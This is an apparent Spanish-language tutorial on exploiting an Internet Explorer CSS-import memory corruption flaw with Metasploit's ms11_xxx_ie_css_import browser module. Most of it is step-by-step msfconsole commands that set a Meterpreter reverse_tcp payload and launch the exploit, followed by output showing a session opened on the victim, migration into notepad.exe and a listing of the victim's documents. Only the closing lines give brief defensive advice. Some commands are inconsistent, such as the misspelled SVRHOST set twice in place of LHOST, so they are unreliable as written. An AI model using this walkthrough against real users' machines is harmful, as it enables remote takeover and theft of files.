El siguiente video muestra como utilizar Armitage para ejecutar código arbitrario en un sistema Windows 7.
Esta es la descripción del módulo utilizado para el exploit:
This module exploits a memory corruption vulnerability within Microsoft\’s HTML engine (mshtml). When parsing an HTML page containing a recursive CSS import, a C++ object is deleted and later reused. This leads to arbitrary code execution. This exploit utilizes a combination of heap spraying and the .NET 2.0 ‘mscorie.dll’ module to bypass DEP and ASLR. This module does not opt-in to ASLR. As such, this module should be reliable on all Windows versions.
Ahora, si queremos realizar el mismo ataque utilizando msfconsole, es muy fácil.
En Backtrack 4 R2, nos ubicamos en el directorio framework3 (Metasploit Framework 3:
cd /pentest/exploits/framework3
E iniciamos la consola de Metasploit:
./msfconsole
Luego ejecutamos el siguiente comando para seleccionar el exploit:
use windows/browser/ms11_xxx_ie_css_import
Definimos el parámetro SRVHOST con nuestra dirección IP:
set SVRHOST 192.168.1.23
Definimos el parámetro URIPATH:
set URIPATH /
Seleccionamos el PAYLOAD a utilizar:
set PAYLOAD windows/meterpreter/reverse_tcp
Definimos el parámetro LHOST con nuestra dirección IP:
set SVRHOST 192.168.1.23
Lanzamos el exploit:
exploit
El resultado debe mostrar lo siguiente:
[*] 192.168.1.100:43487 Received request for "/"
[*] 192.168.1.100:43487 Sending windows/browser/ms11_xxx_ie_css_import redirect
[*] 192.168.1.100:43487 Received request for "/qmpDd.html"
[*] 192.168.1.100:43487 Sending windows/browser/ms11_xxx_ie_css_import HTML
[*] 192.168.1.100:43487 Received request for "/generic-1296233659.dll"
[*] 192.168.1.100:43487 Sending windows/browser/ms11_xxx_ie_css_import .NET DLL
[*] 192.168.1.100:43494 Received request for "/\356\200\240\341\201\232\356\200\240\341\201\232\356\200\240\341\201\232\356\200\240\341\201\232"
[*] 192.168.1.100:43494 Sending windows/browser/ms11_xxx_ie_css_import CSS
[*] Sending stage (749056 bytes) to 192.168.1.100
[*] Meterpreter session 1 opened (192.168.1.100:4444 -> 192.168.1.100:37030) at Fri Jan 28 17:54:43 +0100 2011
[*] Session ID 1 (192.168.1.100:4444 -> 192.168.1.100:37030) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (3668)
[*] Spawning a notepad.exe host process...
[*] Migrating into process ID 2204
[*] New server process: notepad.exe (2204)
A partir de ese momento ya se tiene activa la sesión en el equipo víctima, con los mismos permisos que el usuario afectado y por eso la permanente necesidad de utilizar el sistema con permisos restringidos, sobre todo si se trata de un entorno corporativo.
msf exploit(ms11_xxx_ie_css_import) > sessions -L
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter x86/win32 blackbox\John @ BLACKBOX 192.168.1.17:4444 -> 192.168.1.32:49161
msf exploit(ms11_xxx_ie_css_import) > sessions 1
Ya podremos utilizar la sesión establecida en el equipo víctima, por ejemplo para realizar un listado de archivos:
meterpreter > ls
Listing: C:\Users\John\Documents
================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
40555/r-xr-xr-x 0 dir Mon Jan 17 01:59:54 -0500 2011 .
40777/rwxrwxrwx 0 dir Mon Jan 17 01:59:54 -0500 2011 ..
40777/rwxrwxrwx 0 dir Mon Jan 17 01:58:39 -0500 2011 My Music
40777/rwxrwxrwx 0 dir Mon Jan 17 01:58:39 -0500 2011 My Pictures
40777/rwxrwxrwx 0 dir Mon Jan 17 01:58:39 -0500 2011 My Videos
100666/rw-rw-rw- 402 fil Mon Jan 17 01:59:54 -0500 2011 desktop.ini
Es necesario tener en cuenta que la mayoría de los antivirus ya detectan el exploit utilizado por Metasploit (el original) por lo que si la víctima ingresa a la URL con el antivirus habilitado es posible que este detecte el ataque.